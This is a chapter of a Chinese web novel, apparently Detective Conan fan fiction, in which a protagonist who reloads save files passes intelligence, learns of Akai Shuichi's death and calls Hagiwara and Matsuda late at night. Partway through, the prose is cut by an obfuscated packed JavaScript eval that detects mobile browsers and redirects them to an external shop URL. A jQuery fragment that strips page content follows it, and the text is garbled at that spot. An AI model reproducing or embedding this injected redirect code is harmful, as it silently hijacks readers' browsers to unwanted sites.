20. 020

作品:《旮旯给木不是这样的啊!

    后来,莫尼科·海耶斯开始减少和萩原研二、松田阵平的见面。


    不是刻意的回避,只是每次接到邀约,他总能找到更正当的理由——公安的任务,身体的疲惫,临时要出趟远门。萩原研二在电话那头笑着说“那下次再说”,松田阵平连问都不问,只发来一条消息:“忙你的。”


    他盯着那三个字看了很久,没有回复。


    时间过得太快又太慢了,森川海把自己埋进数据与情报的海洋里。公寓的窗帘从早到晚拉着,电脑屏幕的蓝光是他唯一的光源。


    他开始以“绿雉”的身份,向诸伏景光传递那些沉在记忆深处的组织情报。


    第一条,是某个区域负责人的收钱渠道。诸伏景光几天后反馈核实。


    第二条,是组织在东欧的一个军火中转站,信息库是布伦尼文亲手建立的。诸伏景光没有多说什么。


    第三条、第四条、第五条……一枚枚石子投入深井,激起涟漪,然后沉寂。


    与此同时,他也把诸伏景光提供的情报,经过筛选、重组、加密后“转手”给公安。两边的情报在他这里交汇,他像一台沉默的交换机,让信息流向该去的地方,却从不留下自己的印记。


    这几年里,他几乎把布伦尼文知道的所有情报告诉了诸伏景光。被怀疑是理所当然的,但景光从不疑问,只是用很悲伤的眼神看着他,然后收下情报。


    组织那边查的越来越严,好在莫尼科现在是个死人,虽然东躲西藏过的不太顺心,但也能活。


    玩家的要求一直很低。


    森川海还开始学黑客技术。


    不是系统给的,也不是布伦尼文的,是从零开始。森川海三更半夜对着晦涩的教程一行行敲代码,手指在键盘上磨出薄茧。他想给诸伏景光和降谷零的身份多加几层防护——组织内部的监控系统比他们想象的更严密,一个不留神就会留下无法抹除的访问痕迹。


    这些东西公安不会教,系统帮不了,他只能自己学。


    他是一个毫无天赋的人,唯一的优势是有足够的时间。


    困极了就趴在桌上睡一会儿,醒来继续。脖颈的旧伤在阴冷天气里闷闷地疼,他懒得管。


    ……


    莫尼科和诸伏景光保持着一周一次的接头频率。


    咖啡馆、居酒屋角落、深夜营业的二手书店、区立公园靠近后门的长椅。情报交接简短而沉默,像两个训练有素的齿轮遇见了彼此,如果松田在一定会咋舌。


    “最近睡眠不好?”有一次诸伏景光接过加密储存卡时,忽然问。


    莫尼科垂下眼睛:“还行。”


    “黑眼圈比上次深了。”


    “工作压力。”


    诸伏景光没有再追问。他把储存卡收进口袋,低头喝了一口已经凉透的咖啡。


    另一次,他们在都营地下铁的站台交接。莫尼科把装着情报的口香糖罐贴在闸机下方,转身离开时,听见身后传来声音——


    “你以前来过日本吗?”


    莫尼科的脚步顿了一下。他没有回头:“……没有。这是第一次。”


    “是吗。”诸伏景光的声音被列车进站的轰鸣盖住,听不出情绪。


    莫尼科上车,门在他身后关闭。


    他隔着玻璃看见诸伏景光站在站台上,没有动,只是安静地看着他离开的方向。


    像在等什么。


    又像已经知道答案,只是不戳破。


    ……


    他的精神状态开始出问题。


    不是睡眠——森川海本来睡得就少。是更隐蔽的东西。他会在敲代码的中途突然走神,盯着屏幕边缘某处空白发呆十分钟。他会忘记自己有没有吃过饭,打开冰箱又关上,想不起刚才想拿什么。


    他以为是累。直到一封邮件出现。


    【“Monico—


    听说你在日本。什么时候回伦敦?


    —Akai”】


    莫尼科盯着电脑屏幕,忘记了呼吸。


    赤井秀一。他三周目的朋友,从六岁就认识的幼驯染,后来的家人。他们在美国度过了一段无忧无虑的幸福时光,后来分别,莫尼科进入了MI6,赤井秀一则去了FBI。


    这是他三周目的背景故事。是他以为的和其他周目无关的,平行存在的另一条时间线。


    但赤井秀一找到了他。


    不是找到森川和也或者森川海,是找到莫尼科·海耶斯。


    他用这个名字、这个身份、这段人生,此刻站在东京的廉价公寓里。而赤井秀一从大洋彼岸发来一封邮件,像从另一个宇宙传来的回声,问他:


    你什么时候回伦敦?


    莫尼科在电脑前停留了了很久。久到电脑屏幕自动熄灭,把他沉入一片黑暗。


    他开始打字。打一行删一行,删了又打,来来回回十几遍。


    最后他只发出去一句:


    【你记忆里的我,现在在哪里?】


    三个小时后,赤井秀一的回复。


    【1997年夏天,你说要回日本处理一些事。之后我们再也没见过。】


    莫尼科看着那条消息,一动不动。


    1997年。那是二周目的时间。森川和也入读警校的前一年。


    在他的记忆里,那个夏天,他刚刚经历了母亲的火灾,手部重伤,从医学院退学,在家徒四壁的老宅里躺了三个月,思考要不要去死。


    而在另一条——他以为是另一条的——时间线里,莫尼科·海耶斯在这个夏天从英国来到了日本。


    然后再也没有回去过。


    屏幕熄灭前,森川海看见自己映在黑色玻璃里的脸——那是莫尼科·海耶斯的脸,二十六岁,英国人,赤井秀一的旧友,给MI6和日本公安拉磨的苦命牛马。


    也是森川海、森川和也、布伦尼文、清水茶柱,以及他不知道还会成为的谁。


    他曾经以为这些是不同的周目,不同的存档,不同的平行人生。他可以从一个存档读档到另一个存档,像翻过一本书的不同章节。


    但现在赤井秀一告诉他:不。这是同一本书,你的每一行字都写在同一页上。


    你读档了无数次。每一次读档时,原本的时间线并没有冻结,没有等待,没有暂停。


    它继续往前走。带着你留下的每一个未完成的故事,带着你离开的每一个人。


    那些你放弃的人生并没有消失。


    它们变成了一个又一个,在某个平行时空里等待、寻找、最终沉默消失的你。


    变成了再也不会有结局的Bad ending。


    ……


    森川海三天没有出门。


    期间诸伏景光发来加密的接头确认,他回复延期。上司询问情报进度,他敷衍在整理。萩原研二的消息他没点开,只是看着屏幕亮起、熄灭、又亮起。


    他开始想那些自己读档后离开的时间线。


    在成为布伦尼文的那一周目,他死在了欧洲。那个时间线后来怎么样了?组织是否还在运转?琴酒是否偶尔想起那个不称职的搭档?


    在成为森川和也的二周目,他死在了东京。那个时间线——就是现在这条时间线——森川和也的墓碑还在灵园,萩原松田和航哥偶尔会去扫墓吗?降谷零和诸伏景光知道森川和也其实还活着吗?


    而他以莫尼科身份活着的这条线,三周目——1997年夏天,那个决定回日本的莫尼科·海耶斯,他去了哪里?他见到了什么?为什么他没有再联系赤井秀一?


    莫尼科盯着天花板。窗外不知什么时候已经黑了。


    他有一个非常、非常可怕的猜想。


    他曾经以为自己读档后,原本的时间线就结束了,像游戏里按下重置键,一切归零,从头再来。


    但如果它们没有结束呢?


    如果他每一次读档,不是覆盖存档,而是创造了一条新的、独立的分支呢?


    那在他每一次离开后,被他抛弃的时间线里——


    他是不是也曾经这样活过、挣扎过、试图抓住什么?他是不是也曾经遇见过这些人,爱过他们,然后因为某种原因不得不离开?


    而那些人——萩原、松田、航哥、景光、降谷——他们是不是也曾无数次等待过一个不会回来的人,无数次在墓碑前放下花束,无数次在深夜被电话震动惊醒,以为会是某个熟悉的声音?


    莫尼科用手遮住眼睛。


    他无法再想下去了。


    森川海拨通萩原研二的电话时,是凌晨两点十七分。


    铃声响了很久。久到他以为对方不会接。


    “……喂?”萩原的声音带着睡意,但没生气。


    莫尼科张了张嘴。


    他想说“对不起”,想说他可能做错了很多事,想说他分不清哪些是真实哪些是虚假,想说他在黑暗里待了太久,久到忘了阳光是什么温度。


    但他只说:


    “有时间吗。”


    电话那头静了一瞬。


    “我感觉不太好。”他说,声音很轻,像怕吵醒什么,“你们要不来看看我。”


    他没有用莫尼科带着点英国腔调的口音。


    他用的是警校时期,和萩原研二他们在宿舍天台吹夜风时,那种懒散又不设防的语气。


    萩原研二沉默了几秒。


    “地址发我。”他说,“我和小阵平一起。”


    电话挂断。莫尼科看着屏幕暗下去。


    系统界面在这一刻无声地弹出。


    不是往常的任务提示,不是成就更新,也不是结局。


    只有一行行简洁的像遗言的字:


    【检测到玩家san值降低。】


    【警告】


    【建议:停止思考。】


    【建议:停止思考。】


    接着是更可怕的提示。


    赤井秀一死亡。


    莫尼科盯着系统。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189147|197044||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>然后他关掉了界面。


    我在做梦。森川海痛苦地想,我一定是在做梦。


    怎么会——怎么会!


    一会儿没看,他只是忙了一下自己的事,怎么会一会儿没看就死了?


    搞半天血最厚的原来是琴酒!


    二十分钟后,门外传来急促的脚步声,敲了敲门就推门进来。锁是坏的——他搬进来第一天就是坏的,一直没修。


    松田阵平站在门口,呼吸还没喘匀。萩原研二在他身后半步,手里握着手机,屏幕亮着导航界面。


    他们看着这个屋子的主人。


    莫尼科坐在窗边唯一的椅子上,穿着灰色的旧卫衣,没戴眼镜,头发乱糟糟的,脸上没有任何表情。窗户大开,身后是东京冬夜灰黑色的天空。他像被遗忘在仓库角落的雕塑,积满看不见的灰尘。


    松田阵平走进来,带上门。


    他什么都没问,只是把莫尼科桌上堆着的资料往旁边推了推,腾出一块空地,把从便利店拎来的塑料袋放上去。


    饭团、三明治、两瓶热咖啡。


    “……只有这个。”松田的声音很硬。


    萩原研二站在门口看了一会儿,然后也走进来,把窗帘拉上一半,把歪掉的椅子扶正,把掉在地上的外套捡起来搭在椅背。


    他做这些事的时候很安静,像在做无数次做过的事。


    莫尼科看着他们。


    松田在皱着眉拧热咖啡的瓶盖,萩原在拆饭团的包装,海苔和米饭分开了,他试图把它们重新贴回去,没成功。


    这是两个不太擅长照顾人的人,在深夜被不明身份的人一个电话叫来,不知道发生了什么,但捧场。


    莫尼科接过松田递来的热咖啡,掌心被烫了一下。


    “……我要出趟远门。”他说。


    萩原的动作顿了一下。


    “多久?”


    “不知道。”


    “危险吗?”


    莫尼科沉默了一会儿。


    “有一点。”


    松田阵平没说话。他把拧开的咖啡瓶塞进莫尼科手里,然后拉过另一张椅子,在离他不到一米的地方坐下。


    “什么时候走?”


    “……天亮。”


    房间安静下来。便利店买的热咖啡很烫,白色的蒸汽在他们之间升起、飘散。


    萩原研二把那个贴不上海苔的饭团放在莫尼科手边,然后靠上窗台,点了一根烟。


    他很久没在室内抽烟了。


    松田阵平没有阻止。


    “东西带齐了吗。”松田问。


    “嗯。”


    “那边有人接应吗。”


    “有的。”


    “能活着回来吗。”


    莫尼科没有回答。


    松田就没有追问。


    他只是坐在那里,离莫尼科不到一米的地方,隔着一杯正在变凉的咖啡,隔着一整个十一月的夜晚。


    今天没有下雨,夜空很晴朗,明天会是个好天气。


    莫尼科把咖啡喝完。他站起来,走向门口。


    松田和萩原都没有动。


    他没有回头。


    “……多谢招待。”他说。


    门在他身后关上。


    反正……反正萩原研二他已经救下来了,应该不会还有别的倒霉蛋吧?


    森川海想着,没有注销这次的身份。


    Akai。


    赤井秀一。


    莫尼科回到三周目的起点。


    不是地理意义的起点——他还在东京,还在这个与他无关的城市。是时间意义的起点。1997年夏天,那个决定从英国回日本的莫尼科·海耶斯。


    森川海知道的莫尼科有两个过去,一个是三周目本身存在的,另一个是现在的赤井秀一告诉他的。


    也就是说,当他选择从三周目回到二周目时,莫尼科这个身份就开始互相干涉。他在自己都不知道的情况下改变了历史,所以二周目赤井秀一才会说出一段他根本不知道的记忆。


    那么在原本的三周目里发生了什么?


    森川海用这个名字、这个身份所能调动的一切资源,开始查一件事。


    赤井秀一是怎么死的。


    情报零碎,来源可疑,每一条都像是隔着几层转述的流言。FBI探员,黑衣组织,化名诸星大,潜入任务,身份暴露,最后记录在日本神奈川县来叶山道。


    官方结论:任务中殉职。


    但莫尼科见过太多被粉饰的死亡。他知道官方结论下面永远埋着另一个版本的真相。


    他开始复现自己一周目时用的那些追踪手法。布伦尼文的经验,莫尼科的身份,叠加在一起,像一把磨钝的刀重新开刃。


    三天后,他在某个加密论坛的犄角旮旯里,发现了一条旧帖。


    发帖人匿名,内容只有两行字:


    【来叶山道那次,】


    【是他自己选的。】